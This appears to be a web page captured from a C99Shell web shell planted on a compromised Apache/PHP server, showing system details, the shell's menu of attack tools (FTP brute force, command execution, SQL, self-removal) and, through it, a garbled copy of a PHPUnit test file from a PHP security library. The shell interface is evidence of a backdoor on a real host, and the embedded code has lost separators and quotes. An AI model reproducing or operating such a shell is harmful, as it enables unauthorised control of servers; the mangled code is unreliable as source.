!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/ircmaxell/security-lib/test/Unit/Core/   drwxrwxr-x
Free 11.55 GB of 61.93 GB (18.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbstractFactoryTest.php (1.92 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use SecurityLibTest\Mocks\Factory;

use 
org\bovigo\vfs\vfsStream;

class 
Unit_Core_AbstractFactoryTest extends PHPUnit_Framework_TestCase {

    protected function 
setUp() {
        
$root vfsStream::setup('SecurityLibTest');
        
//Setup Folders
        
$core vfsStream::newDirectory('Core')->at($root);
        
$af vfsStream::newDirectory('AbstractFactory')->at($core);

        
// Create Files
        
vfsStream::newFile('test.php')->at($af);
        
vfsStream::newFile('Some234Foo234Bar98Name.php')->at($af);
        
vfsStream::newFile('Invalid.csv')->at($af);
        
vfsStream::newFile('badlocation.php')->at($core);
    }

    
/**
     * @covers SecurityLib\AbstractFactory::registerType
     */
    
public function testRegisterType() {
        
$factory = new Factory;
        
$factory->registerType('test''iteratoraggregate''foo''ArrayObject'false);
    }

    
/**
     * @covers SecurityLib\AbstractFactory::registerType
     * @expectedException InvalidArgumentException
     */
    
public function testRegisterTypeFail() {
        
$factory = new Factory;
        
$factory->registerType('test''iterator''foo''ArrayObject'false);
    }

    
/**
     * @covers SecurityLib\AbstractFactory::registerType
     */
    
public function testRegisterTypeInstantiate() {
        
$factory = new Factory;
        
$factory->registerType('test''iteratoraggregate''foo''ArrayObject'true);
    }

    public function 
testLoadFiles() {
        
$dir vfsStream::url('SecurityLibTest/Core/AbstractFactory');

        
$result = array();
        
$callback = function($name$class) use (&$result) {
            
$result[$name] = $class;
        };

        
$factory = new Factory();
        
$factory->loadFiles($dir'foo\\'$callback);

        
$expect = array(
            
'test' => 'foo\\test',
            
'Some234Foo234Bar98Name' => 'foo\\Some234Foo234Bar98Name'
        
);

        
$this->assertEquals($expect$result);
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7868 ]--